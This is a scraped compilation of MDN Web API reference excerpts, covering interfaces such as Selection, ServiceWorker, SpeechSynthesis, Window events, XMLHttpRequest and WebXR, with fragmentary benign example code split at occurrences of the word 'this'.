this will only be populated if the resource is an inline script, event handler, or style — external resources causing a violation will not generate a sample.
Selection.setBaseAndExtent() - Web APIs
examples in
this example, we have two paragraphs containing spans, each one containing a single word.
...nt.queryselector('.output'); var selection; button.onclick = function() { try { selection = document.getselection(); selection.setbaseandextent(one, aoffset.value, two, foffset.value); var text = selection.tostring(); output.textcontent = text; } catch(e) { output.textcontent = e.message; } } play with the live example below, setting different offset values to see how
this affects the selection.
... note: you can find
this example on github (see it live also.) specifications specification status comment selection apithe definition of 'selection.setbaseandextent()' in that specification.
Selection.toString() - Web APIs
description
this method returns the currently selected text.
... in javascript,
this method is called automatically when a function the selection object is passed to requires a string: alert(window.getselection()) // what is called alert(window.getselection().tostring()) // what is actually being effectively called.
... working draft current browser compatibility the compatibility table on
this page is generated from structured data.
ServiceWorker.onstatechange - Web APIs
} ) examples
this code snippet is from the service worker registration-events sample (live demo).
...for example: navigator.serviceworker.register(..).then(function(swr) { swr.installing.state == "installing" swr.installing.onstatechange = function() { swr.installing == null; // at
this point, swr.waiting or swr.active might be true.
...
this is because the statechange // event gets queued, meanwhile the underlying worker may have gone into the waiting // state and will be immediately activated if possible.
ServiceWorker - Web APIs
a serviceworker object is available in the serviceworkerregistration.active property, and the serviceworkercontainer.controller property —
this is a service worker that has been activated and is controlling the page (the service worker has been successfully registered, and the controlled page has been reloaded.) the serviceworker interface is dispatched a set of lifecycle events — install and activate — and functional events including fetch.
... methods the serviceworker interface inherits methods from its parent, worker, with the exception of worker.terminate —
this should not be accessible from service workers.
... examples
this code snippet is from the service worker registration-events sample (live demo).
ServiceWorkerGlobalScope.onpushsubscriptionchange - Web APIs
this offers an opportunity to resubscribe in order to continue receiving push messages, if desired.
...
this might happen if, for example, the push service sets an expiration time a subscription.
... working draft initial definition (note:
this event is specified in the push api, but accessed through serviceworkerglobalscope.) ...
ServiceWorkerMessageEvent - Web APIs
important: in modern browsers,
this interface has been deprecated.
...
this extends the default message event to allow setting a serviceworker object as the source of a message.
...
this interface inherits from the event interface.
ServiceWorkerRegistration.navigationPreload - Web APIs
browser compatibility the compatibility table in
this page is generated from structured data.
...rome for androidfirefox for androidopera for androidsafari on iossamsung internetnavigationpreload experimentalchrome full support 59edge full support 17 full support 17 full support 16disabled disabled from version 16:
this feature is behind the enable service workers preference.firefox full support 44notes full support 44notes notes extended support releases (esr) before firefox 78 esr do not support service workers and the push api.ie no support noopera full suppor...
...expect behavior to change in the future.see implementation notes.see implementation notes.user must explicitly enable
this feature.user must explicitly enable
this feature.
SharedWorkerGlobalScope.onconnect - Web APIs
}; examples
this example shows a shared worker file — when a connection to the worker occurs from a main thread via a messageport, the onconnect event handler fires.
... the connecting port can be referenced through the event object's ports parameter;
this reference can have an onmessage handler attached to it to handle messages coming in through the port, and its postmessage() method can be used to send messages back to the main thread using the worker.
... living standard browser compatibility the compatibility table in
this page is generated from structured data.
SourceBuffer.appendBufferAsync() - Web APIs
example
this simplified example async function, fillsourcebuffer(), takes as input parameters buffersource, buffer, and a sourcebuffer to which to append the source media from the buffer.
...
this is being experimented with under the auspices of the web platform incubator community group (wicg).
... specification status comment media source extensions recommendation initial definition; does not include
this method.
SpeechRecognition.lang - Web APIs
if not specified,
this defaults to the html lang attribute value, or the user agent's language setting if that isn't set either.
... examples
this code is excerpted from our speech color changer example.
...ammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal |
thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechSynthesis.speak() - Web APIs
examples
this snippet is excerpted from our speech synthesiser demo.
... when a form containing the text we want to speak is submitted, we (amongst other things) create a new utterance containing
this text, then speak it by passing it into speak() as a parameter.
... inputform.onsubmit = function(event) { event.preventdefault(); var utter
this = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utter
this.voice = voices[i]; } } synth.speak(utter
this); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speak()' in that specification.
SpeechSynthesis - Web APIs
the speechsynthesis interface of the web speech api is the controller interface for the speech service;
this can be used to retrieve information about the synthesis voices available on the device, start and pause speech, and other commands besides.
... events listen to
this event using addeventlistener() or by assigning an event listener to the oneventname property of
this interface.
...n.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } inputform.onsubmit = function(event) { event.preventdefault(); var utter
this = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utter
this.voice = voices[i]; } } utter
this.pitch = pitch.value; utter
this.rate = rate.value; synth.speak(utter
this); inputtxt.blur(); } specifications spe...
SpeechSynthesisUtterance.rate - Web APIs
other values act as a percentage relative to
this, so for example 2 is twice as fast, 0.5 is half as fast, etc.
...if ssml is used,
this value will be overridden by prosody tags in the markup.
... inputform.onsubmit = function(event) { event.preventdefault(); var utter
this = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utter
this.voice = voices[i]; } } utter
this.rate = 1.5; synth.speak(utter
this); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'rate' in that specification.
SpeechSynthesisVoice.voiceURI - Web APIs
the voiceuri read-only property of the speechsynthesisvoice interface returns the type of uri and location of the speech synthesis service for
this voice.
...
this is a generic uri and can point to local or remote services, e.g.
... examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } console.log(voices[i].voiceuri); // on mac,
this returns urns, for example 'urn:moz-tts:osx:com.apple.speech.synthesis.voice.daniel' option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'voiceuri' in that specification.
StorageManager.estimate() - Web APIs
this method operates asynchronously, so it returns a promise which resolves once the information is available.
...
this dictionary contains estimates of how much space is available to the origin in storageestimate.quota, as well as how much is currently used in storageestimate.usage.
...
this variance is based on factors such as: how often the user visits public site popularity data user engagement signals like bookmarking, adding to homescreen, or accepting push notifications example in
this example, we obtain the usage estimates and present the percentage of storage capacity currently used to the user.
Using the Storage Access API - Web APIs
this is particularly true for document.cookie access, as browsers will often return an empty cookie jar when third-party cookies are blocked.
... accessing a user's cookies in an embedded cross-origin iframe in
this example we show how an embedded cross-origin <iframe> can access a user’s cookies under a storage access policy that blocks third-party cookies.
...}); note that access requests are automatically denied unless the embedded content is currently processing a user gesture such as a tap or click — so
this code needs to be run inside some kind of user gesture-based event handler, for example: btn.addeventlistener('click', () => { // run code here }); ...
StyleSheet.ownerNode - Web APIs
the ownernode property of the stylesheet interface returns the node that associates
this style sheet with the document.
...
this is usually an html <link> or <style> element, but can also return a processing instruction node in the case of <?xml-stylesheet ?>.
... syntax noderef = stylesheet.ownernode example <html lang="en"> <head> <link rel="stylesheet" href="example.css"> </head> <body> <button onclick="alert(document.stylesheets[0].ownernode)">show example.css’s ownernode</button> </body> </html> // displays "object htmllinkelement" notes for style sheets that are included by other style sheets, such as with @import, the value of
this property is null.
StyleSheet - Web APIs
stylesheet.ownernode read only returns a node associating
this style sheet with the current document.
... stylesheet.parentstylesheet read only returns a stylesheet including
this one, if any; returns null if there aren't any.
... stylesheet.typeread only returns a domstring representing the style sheet language for
this style sheet.
SubmitEvent() - Web APIs
for submitevent,
this is always submit.
... examples
this code snippet locates a form in the current document, and then an html <button> within the form with the class submit on it.
... const form = document.queryselector("form"); const formtrigger = form.queryselector("button.submit"); const submitevent = new submitevent("submit", { submitter: formtrigger }); form.dispatchevent(submitevent);
this is a somewhat contrived example, as you can do nearly all of
this much more easily, but
this gives you deep control over the process that can be useful.
SubmitEvent - Web APIs
this event is fired at the <form> when the form's submit action is invoked.
... properties in addition to the properties listed below,
this interface inherits the properties of its parent interface, event.
... examples in
this example, a shopping cart may have an assortment of different submit buttons depending on factors such as the user's settings, the shop's settings, and any minimum or maximum shopping card totals established by the payment processors.
SyncEvent.tag - Web APIs
the syncevent.tag read-only property of the syncevent interface returns the developer-defined identifier for
this syncevent.
...
this is the value passed in the tag parameter of the syncevent() constructor.
... syntax var tag = syncevent.tag value the developer-defined identifier for
this syncevent.
TextTrackCue - Web APIs
properties
this interface also inherits properties from eventtarget.
... texttrackcue.track read only the texttrack that
this cue belongs to, or null if it doesn't belong to any.
... texttrackcue.pauseonexit a boolean for whether the video will pause when
this cue stops being displayed.
TextTrackList.onaddtrack - Web APIs
this happens when tracks are added to the element when the media is first attached to the element; one addtrack event will occur for each video track in the media resource.
... example
this snippet establishes a handler for the addtrack event that calls a function, addtotracklist(), passing in the videotrack object representing the newly-added track.
... in
this scenario, that function's role is to add the new track to a list of video tracks available to choose from.
Touch.target - Web APIs
example
this example illustrates how to access the touch object's touch.target property.
...when the touchstart event handler for
this element is invoked, each touch point's touch.target property is accessed via the event's touchevent.targettouches list.
... // register a touchmove listener for the 'source' element var src = document.getelementbyid("source"); src.addeventlistener('touchstart', function(e) { // iterate through the touch points that were activiated // for
this element.
Transferable - Web APIs
this is an abstract interface and there is no object of
this type.
...
this interface does not define any method or property; it is merely a tag indicating objects that can be used in specific conditions, such as being transfered to a worker using the worker.postmessage() method.
... the arraybuffer, messageport, imagebitmap and offscreencanvas types implement
this interface.
TreeWalker.whatToShow - Web APIs
this is meaningful only when creating a treewalker with an attr node as its root; in
this case, it means that the attribute node will appear in the first position of the iteration or traversal.
...
this is meaningful only when creating a treewalker with an entity node as its root; in
this case, it means that the entity node will appear in the first position of the traversal.
...
this is meaningful only when creating a treewalker with a notation node as its root; in
this case, it means that the notation node will appear in the first position of the traversal.
UIEvent.isChar - Web APIs
when
this is the case, ischar returns false.
... example in
this snippet, which is part of an event handler, the event is checked to see if it generates a character; if it does, the value of uievent.which is appended to a string which buffers the typed characters.
... if (event.ischar) { characterbuffer += e.which; } specification
this property is not part of any specification.
UIEvent.pageX - Web APIs
this property was never part of any standard, and was only implemented across a subset of browsers, and only for a limited number of versions.
...
this value is relative to the left edge of the entire document, regardless of the current horizontal scrolling offset of the document.
... specifications
this property is not part of any specification.
URL.revokeObjectURL() - Web APIs
call
this method when you've finished using an object url to let the browser know not to keep the reference to the file any longer.
... note:
this feature is available in web workers.
... note:
this method is not available from service workers, due to issues with the blob interface's life cycle and the potential for leaks.
URLSearchParams.sort() - Web APIs
the urlsearchparams.sort() method sorts all key/value pairs contained in
this object in place and returns undefined.
...
this method uses a stable sorting algorithm (i.e.
... note:
this feature is available in web workers.
URLSearchParams.toString() - Web APIs
note:
this method returns the query string without the question mark.
...
this is different from window.location.search, which includes it.
... note:
this feature is available in web workers.
URLUtilsReadOnly.hash - Web APIs
browser compatibility the compatibility table in
this page is generated from structured data.
...
this has been fixed to match the spec.ie no support noopera no support nosafari no support nowebview android no support nochrome android no support nofirefox android ...
...
this has been fixed to match the spec.opera android no support nosafari ios no support nosamsung internet android no support nolegend full support full support no support no supportexperimental.
URLUtilsReadOnly.origin - Web APIs
this version of origin is implemented by workerlocation for use on workers.
... syntax string = object.origin; examples // on
this page, returns the origin var result = self.location.origin; // returns:'https://developer.mozilla.org:443' specifications specification status comment urlthe definition of 'urlutilsreadonly.origin' in that specification.
... browser compatibility the compatibility table in
this page is generated from structured data.
URL API - Web APIs
in
this case, those strings are developer.mozilla.org and /docs/web/api/url_api, respectively.
...
this is true for any of the writable properties.
...); let keys = url.searchparams.keys(); for (let key of keys) { let val = url.searchparams.get(key); let row = document.createelement("tr"); let cell = document.createelement("td"); cell.innertext = key; row.appendchild(cell); cell = document.createelement("td"); cell.innertext = val; row.appendchild(cell); tbl.appendchild(row); }; } a working version of
this example can be found on glitch.
USBConfiguration.configurationName - Web APIs
the configurationname read-only property of the usbconfiguration interface returns the name provided by the device to describe
this configuration.
...
this is equal to the value of the string descriptor with the index provided in the iconfiguration field of the configuration descriptor defining
this configuration.
... syntax var name = usbconfiguration.configurationname value the name provided by the device to describe
this configuration.
VideoPlaybackQuality.creationTime - Web APIs
the read-only creationtime property on the videoplaybackquality interface reports the number of milliseconds since the browsing context was created
this quality sample was recorded.
... syntax value = videoplaybackquality.creationtime; value a domhighrestimestamp object which indicates the number of milliseconds that elapased between the time the browsing context was created and the time at which
this sample of the video quality was obtained.
... example
this example calls getvideoplaybackquality() to obtain a videoplaybackquality object, then determines what percentage of frames have been lost by either corruption or being dropped.
VideoPlaybackQuality.totalVideoFrames - Web APIs
essentially,
this is the number of frames the element would have presented had no problems occurred.
...
this value is reset when the media is reloaded or replaced.
... example
this example calls getvideoplaybackquality() to obtain a videoplaybackquality object, then determines what percentage of frames have been lost by either corruption or being dropped.
VideoTrackList.onaddtrack - Web APIs
this happens when tracks are added to the element when the media is first attached to the element; one addtrack event will occur for each video track in the media resource.
... example
this snippet establishes a handler for the addtrack event that calls a function, addtotracklist(), passing in the videotrack object representing the newly-added track.
... in
this scenario, that function's role is to add the new track to a list of video tracks available to choose from.
WEBGL_color_buffer_float - Web APIs
availability:
this extension is available to webgl 1 contexts only.
... the oes_texture_float extension implicitly enables
this extension.
... extended methods
this extension extends webglrenderingcontext.renderbufferstorage(): the internalformat parameter now accepts ext.rgba32f_ext and ext.rgb32f_ext ( ).
WEBGL_debug_shaders - Web APIs
this extension is not directly available to web sites as the way of how the shader is translated may uncover personally-identifiable information to the web page about the kind of graphics card in the user's computer.
... availability: depending on the privacy settings of the browser,
this extension might only be available to privileged contexts.
...
this extension is available to both, webgl1 and webgl2 contexts.
WEBGL_draw_buffers.drawBuffersWEBGL() - Web APIs
this method is part of the webgl_draw_buffers extension.
... note: when using webgl2,
this method is available as gl.drawbuffers() by default and the constants are named gl.color_attachment1 etc.
... examples see webgl_draw_buffers for more context with
this example code.
WakeLockSentinel - Web APIs
this can happen if the document becomes inactive or looses visibility, if the device is low on power or the user turns on a power save mode.
... properties
this interface provides the following properties.
... examples in
this example we create an asynchronous function which requests a wakelocksentinel.
WebGLContextEvent - Web APIs
inheritance
this interface inherits properties and methods from its parent interface, event.
...webglcontextevent" target="_top"><rect x="116" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="201" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">webglcontextevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface inherits properties from its parent interface, event.
... methods
this interface doesn't define any own methods, but inherits methods from its parent interface, event.
Boilerplate 1 - Web APIs
« previousnext »
this example describes repeated pieces of code that will be hidden from now on, as well as defining a javascript utility function to make webgl initialization easier.
...
this would allow us to focus on the interesting pieces of code that are most relevant for learning webgl.
...t("experimental-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or device may not support webgl."; return null; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); gl.clearcolor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); return gl; } the source code of
this example is also available on github.
Canvas size and WebGL - Web APIs
« previousnext »
this webgl example explores the effect of setting (or not setting) the canvas size to its element size in css pixels, as it appears in the browser window.
...
this is done by assigning the width and height properties of the canvas to the values of the clientwidth and clientheight properties, respectively.
..." + "your browser or device may not support webgl."; return; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); gl.enable(gl.scissor_test); gl.scissor(30, 10, 60, 60); gl.clearcolor(1.0, 1.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); }); }, false); the source code of
this example is also available on github.
WebGL: 2D and 3D graphics for the web - Web APIs
this conformance makes it possible for the api to take advantage of hardware graphics acceleration provided by the user's device.
... examples a basic 2d webgl animation example
this example demonstrates the simple animation of a one-color shape.
...
this is a great place to start if you've never done low-level graphics programming.
Improving compatibility using WebRTC adapter.js - Web APIs
note: since there is ongoing fluidity in functionality and naming of api terms in webrtc and supporting browsers, use of
this adapter is generally recommended.
... for example, on firefox versions older than 38, the adapter adds the rtcpeerconnection.urls property; firefox doesn't natively support
this property until firefox 38, while on chrome, the adapter adds support for the promise based api is added if it's not present.
... keep in mind that even a good shim like
this one doesn't mean you don't need to test your code on different browsers (and ideally different versions of each browser).
Web Speech API - Web APIs
there are two components to
this api: speech recognition is accessed via the speechrecognition interface, which provides the ability to recognize voice context from an audio input (normally via the device's default speech recognition service) and respond appropriately.
... web speech api interfaces speech recognition speechrecognition the controller interface for the recognition service;
this also handles the speechrecognitionevent sent from the recognition service.
... speech synthesis speechsynthesis the controller interface for the speech service;
this can be used to retrieve information about the synthesis voices available on the device, start and pause speech, and other commands besides.
Web Storage API - Web APIs
this has been done to avoid memory issues caused by excessive usage of web storage.
... note: access to web storage from third-party iframes is denied if the user has disabled third-party cookies (firefox implements
this behaviour from version 43 onwards.) note: web storage is not the same as mozstorage (mozilla's xpcom interfaces to sqlite) or the session store api (an xpcom storage utility for use by extensions).
... in addition, we have provided an event output page — if you load
this page in another tab, then make changes to your choices in the landing page, you'll see the updated storage information outputted as the storageevent is fired.
Window: DOMContentLoaded event - Web APIs
bubbles yes cancelable yes (although specified as a simple event that isn't cancelable) interface event event handler property none the original target for
this event is the document that has loaded.
... you can listen for
this event on the window interface to handle it in the capture or bubbling phases.
... for full details on
this event please see the page on the document: domcontentloaded event.
Window.back() - Web APIs
this was a firefox-specific method and was removed in firefox 31.
... example
this simple example handles a click on a "back" button by calling back().
... function handlemybackbutton() { if (cangoback) { window.back(); } } specification
this is not part of any specification.
Window: blur event - Web APIs
bubbles no cancelable no interface focusevent event handler property onblur sync / async sync composed yes examples live example
this example changes the appearance of a document when it loses focus.
... html <p id="log">click on
this document to give it focus.</p> css .paused { background: #ddd; color: #555; } javascript function pause() { document.body.classlist.add('paused'); log.textcontent = 'focus lost!'; } function play() { document.body.classlist.remove('paused'); log.textcontent = '
this document has focus.
... click outside the document to lose focus.'; } const log = document.getelementbyid('log'); window.addeventlistener('blur', pause); window.addeventlistener('focus', play); result specifications specification status comment ui events working draft added info that
this event is composed.
Window.captureEvents() - Web APIs
--> <script> function reg() { window.captureevents(event.click); window.onclick = page_click; } function page_click() { alert('page click event detected!'); } </script> </head> <body onload="reg();"> <p>click anywhere on
this page.</p> </body> </html> notes events raised in the dom by user activity (such as clicking buttons or shifting focus away from the current document) generally pass through the high-level window and document objects first before arriving at the object that initiated the event.
... note that you can pass a list of events to
this method using the following syntax: window.captureevents(event.keypress | event.keydown | event.keyup).
... specification
this is not part of any specification.
Window: copy event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property oncopy the original target for
this event is the element that was the intended target of the copy action.
... you can listen for
this event on the window interface to handle it in the capture or bubbling phases.
... for full details on
this event please see the page on the element: copy event.
Window.crypto - Web APIs
this object allows web pages access to certain cryptographic related services.
...in general, you should use
this api only in secure contexts.
... example
this example uses the window.crypto property to access the getrandomvalues() method.
Window: cut event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property oncut the original target for
this event is the element that was the intended target of the cut action.
... you can listen for
this event on the window interface to handle it in the capture or bubbling phases.
... for full details on
this event please see the page on the element: cut event.
Window: focus event - Web APIs
bubbles no cancelable no interface focusevent event handler property onfocus sync / async sync composed yes examples live example
this example changes the appearance of a document when it loses focus.
... html <p id="log">click on
this document to give it focus.</p> css .paused { background: #ddd; color: #555; } javascript function pause() { document.body.classlist.add('paused'); log.textcontent = 'focus lost!'; } function play() { document.body.classlist.remove('paused'); log.textcontent = '
this document has focus.
... click outside the document to lose focus.'; } const log = document.getelementbyid('log'); window.addeventlistener('blur', pause); window.addeventlistener('focus', play); result specifications specification status comment ui events working draft added info that
this event is composed.
Window.getComputedStyle() - Web APIs
examples in
this example we style a <p> element, then retrieve those styles using getcomputedstyle(), and print them into the text content of the <p>.
...in nearly all cases,
this is needless, as getcomputedstyle exists on the window object as well.
...see plugging the css history leak and privacy-related changes coming to css :visited for examples of how
this is implemented.
Window.getSelection() - Web APIs
when cast to string, either by appending an empty string ("") or using selection.tostring(),
this object returns the text selected.
...
this can make the object appear to be a string when used with other functions when it is really an object with properties and methods.
...htmlinputelement.setselectionrange() or the selectionstart and selectionend properties could be used to work around
this.
Window.innerWidth - Web APIs
this includes the width of the vertical scroll bar, if one is present.
...
this property is read-only, and has no default value.
... example //
this will return the width of the viewport var intframewidth = window.innerwidth; //
this will return the width of the frame viewport within a frameset var intframewidth = self.innerwidth; //
this will return the width of the viewport of the closest frameset var intframesetwidth = parent.innerwidth; //
this will return the width of the viewport of the outermost frameset var intouterframesetwidth = to...
Window.matchMedia() - Web APIs
use
this object's properties and events to detect matches and to monitor for changes to those matches over time.
...there's a good example of
this in the article on window.devicepixelratio.
... examples
this example runs the media query (max-width: 600px) and displays the value of the resulting mediaquerylist's matches property in a <span>; as a result, the output will say "true" if the viewport is less than or equal to 600 pixels wide, and will say "false" if the window is wider than that.
Window.mozAnimationStartTime - Web APIs
obsolete since gecko 42 (firefox 42 / thunderbird 42 / seamonkey 2.39)
this feature is obsolete.
...
this value should be used instead of, for example, date.now(), because
this value will be the same for all animations started in
this window during
this refresh interval, allowing them to remain in sync with one another.
...
this also allows javascript-based animations to remain synchronized with css transitions and smil animations triggered during the same refresh interval.
Window.ondragdrop - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
... example fire an alert on dragdrop in
this example, an event listener is added to the window (the event target).
... if, from an external source, a tab, a link, marked text or a file is dragged and dropped onto
this window, the alert is fired.
Window.onpaint - Web APIs
notes onpaint doesn't work currently, and it is questionable whether
this event is going to work at all, see bug 239074.
...
this event occurs after the load event for a window, and reoccurs each time the window needs to be re-rendered, such as when another window obscures it and is then cleared away.
... specification
this is not part of any specification.
Obsolete features - Web APIs
this page lists the obsolete windowfeatures parameter of window.open function.
... fullscreen
this feature no longer works in msie 6 sp2 the way it worked in msie 5.x.
... personalbar obsolete since gecko 76 if
this feature is on, then the new secondary window renders the personal toolbar in netscape 6.x, netscape 7.x and mozilla browser.
Window: paste event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property onpaste the original target for
this event is the element that was the intended target of the paste action.
... you can listen for
this event on the window interface to handle it in the capture or bubbling phases.
... for full details on
this event please see the page on the element: paste event.
Window.pkcs11 - Web APIs
obsolete since gecko 29 (firefox 29 / thunderbird 29 / seamonkey 2.26)
this feature is obsolete.
...if pkcs11 isn't supported,
this property returns null.
... note:
this property has been returned null since gecko 1.9.0.14 (firefox 3.0.14) and removed in gecko 29.0 (firefox 29 / thunderbird 29 / seamonkey 2.26)) for security reasons.
Window.releaseEvents() - Web APIs
example window.releaseevents(event.keypress) notes note that you can pass a list of events to
this method using the following syntax: window.releaseevents(event.keypress | event.keydown | event.keyup).
... specification
this is not part of any specification.
... browser compatibility the compatibility table in
this page is generated from structured data.
Window.setImmediate() - Web APIs
this method is used to break up long running operations and run a callback function immediately after the browser has completed other operations such as events and display updates.
...
this method is not expected to become standard, and is only implemented by recent builds of internet explorer and node.js 0.10+.
...
this method can be used instead of the settimeout(fn, 0) method to execute heavy operations.
Window.updateCommands() - Web APIs
syntax window.updatecommands("scommandname") parameters scommandname is a particular string which describes what kind of update event
this is (e.g.
... notes
this enables or disables items (setting or clearing the "disabled" attribute on the command node as appropriate), or ensures that the command state reflects the state of the selection by setting current state information in the "state" attribute of the xul command nodes.
... browser compatibility the compatibility table in
this page is generated from structured data.
self.createImageBitmap() - Web APIs
this value can be negative.
...
this value can be negative.
... example creating sprites from a sprite sheet
this example loads a sprite sheet, extracts individual sprites, and then renders each sprite to the canvas.
WindowOrWorkerGlobalScope - Web APIs
this object enables functionality such as storing assets for offline use, and generating custom responses to requests.
...
this lets your code run without interfering with other, possibly higher priority, code, but before the browser runtime regains control, potentially depending upon the work you need to complete.
... living standard
this is where the main mixin is defined.
WorkerGlobalScope.performance - Web APIs
this property is read only .
...e are being called on the worker scope, which can be referenced with workerglobalscope.self), you will get a workerperformance object written to the console — something like the following: workerperformance {now: function} __proto__: workerperformance constructor: function workerperformance() { [native code] } now: function now() { [native code] } __proto__: object you could use
this performance object to return performance data, as you might do with a normal performance object.
... note: firefox has a bug with using console.log inside shared/service workers (see bug 1058644), which may return strange results, but
this should be fixed soon.
WritableStream.getWriter() - Web APIs
while the stream is locked, no other writer can be acquired until
this one is released.
... examples the following example illustrates several features of
this interface.
...inside
this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter.
XDomainRequest - Web APIs
this interface can send both get and post requests.
...post data is specified in
this method.
... specifications
this interface and its methods are non-standard.
How to check the security state of an XMLHTTPRequest over SSL - Web APIs
notes:
this code requires elevated privileges to run; you can only call it from a browser extension or from a xulrunner application.
...bug 867872 has been filed to implement
this and // contains a documented tcperror.webidl that maps all the error codes we use in //
this file to slightly more readable explanations.
... } else if ((secinfo.securitystate & ci.nsiwebprogresslistener.state_is_broken) == ci.nsiwebprogresslistener.state_is_broken) { dump("unknown\n"); dump("\tsecurity description: " + secinfo.shortsecuritydescription + "\n"); dump("\tsecurity error message: " + secinfo.errormessage + "\n"); } } else { dump("\tno security info available for
this channel\n"); } // print ssl certificate details if (secinfo instanceof ci.nsisslstatusprovider) { var cert = secinfo.queryinterface(ci.nsisslstatusprovider) .sslstatus.queryinterface(ci.nsisslstatus).servercert; dump("\tcommon name (cn) = " + cert.commonname + "\n"); dump("\tissuer = " + cert.issuerorganization + "\n"); dum...
XMLHttpRequest.mozBackgroundRequest - Web APIs
note:
this method is not available from web content.
... in cases in where a security dialog (such as authentication or a bad certificate notification) would normally be shown,
this request fails instead.
... note:
this property must be set before calling open().
XMLHttpRequest.sendAsBinary() - Web APIs
this method makes it possible to read and upload any type of file and to stringify the raw data.
... warning:
this method is obsolete and should not be used.
... https://developer.mozilla.org/docs/dom/xmlhttprequest#sendasbinary() |*| \*/ if (!xmlhttprequest.prototype.sendasbinary) { xmlhttprequest.prototype.sendasbinary = function (sdata) { var nbytes = sdata.length, ui8data = new uint8array(nbytes); for (var nidx = 0; nidx < nbytes; nidx++) { ui8data[nidx] = sdata.charcodeat(nidx) & 0xff; } /* send as arraybufferview...: */
this.send(ui8data); /* ...or as arraybuffer (legacy)...:
this.send(ui8data.buffer); */ }; } note: it's possible to build
this polyfill putting two types of data as argument for send(): an arraybuffer (ui8data.buffer – the commented code) or an arraybufferview (ui8data, which is a typed array of 8-bit unsigned integers – uncommented code).
XMLHttpRequest.setRequestHeader() - Web APIs
if
this method is called several times with the same header, the values are merged into one single request header.
... if no accept header has been set using
this, an accept header with the type "*/*" is sent with the request when send() is called.
...in
this situation, you need to set up the access-control-allow-headers in your response header at server side.
XPathEvaluator.evaluate() - Web APIs
this must be one of the xpathresult.constants.
... result optional allows to specify a result object which may be reused and returned by
this method.
... if
this is specified as null or the implementation does not reuse the specified result, a new result object will be returned.
XPathExpression.evaluate() - Web APIs
this must be one of the xpathresult.constants.
... result optional allows to specify a result object which may be reused and returned by
this method.
... if
this is specified as null or the implementation does not reuse the specified result, a new result object will be returned.
XPathExpression - Web APIs
this interface is a compiled xpath expression that can be evaluated on a document or specific node to return information from its dom tree.
...
this is useful when an expression will be reused in an application, because it is just compiled once and all namespace prefixes which occur within the expression are preresolved.
... objects of
this type are created by calling xpathevaluator.createexpression().
XPathResult.resultType - Web APIs
note:
this feature is available in web workers.
...
this is useful for example, in an xpath expression using the count() function.
...
this is useful for example, in an xpath expression using the not() function.
XRBoundedReferenceSpace.boundsGeometry - Web APIs
this boundary is typically configured by the user, using the software that controls their xr hardware.
...
this may be done by walking the border of the space they wish to use, or by drawing the shape of their room using their xr input device.
... although some samples render a mesh or other shape to display the bounds to the user, in a real-world application, you shouldn't do
this.
XREnvironmentBlendMode - Web APIs
this is primarily used by fully-immersive vr headsets, which totally obscure the surrounding environment, with none of the real world shown to the user at all.
... alpha-blend used by headsets or goggles which use cameras to capture the real world and display it digitally on the screen or screens used to render the content for the user to see,
this offers a way to create an ar presentation using a vr device.
... in
this mode, the xrsession's renderstate.baselayer property provides relative weights of the artificial layer during the compositing process.
XRInputSource.targetRayMode - Web APIs
example
this fragment of code shows part of a function to be called once every frame.
...inputs which have a value for
this property represent inputs that project a target ray outward from the user.
... for each such input,
this example looks for inputs whose targetraymode is tracked-pointer, indicating that the input is in fact intended to represent a targeting device rather than a gazing device, screen tap, or mouse click.
XRReferenceSpaceType - Web APIs
this type is used when calling the requestreferencespace() method to obtain a reference space for an xrsession.
...the user isn't expected to move much if at all beyond their starting position, and tracking is optimized for
this use case.
...
this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both immersive and inline, though it's most useful for inline sessions.
XRSession: selectend event - Web APIs
this snippet is the core of an event handler to allow the user to grab objects in the scene and move them around.
... in
this case, a single function is used to handle all three events, allowing them to share certain code that's the same regardless of which of the three events is received.
...
this places the object into its new position in the world and triggers any effects that may arise from doing so (like scheduling an animation of a splash if dropped in water, etc).
XRSession: selectstart event - Web APIs
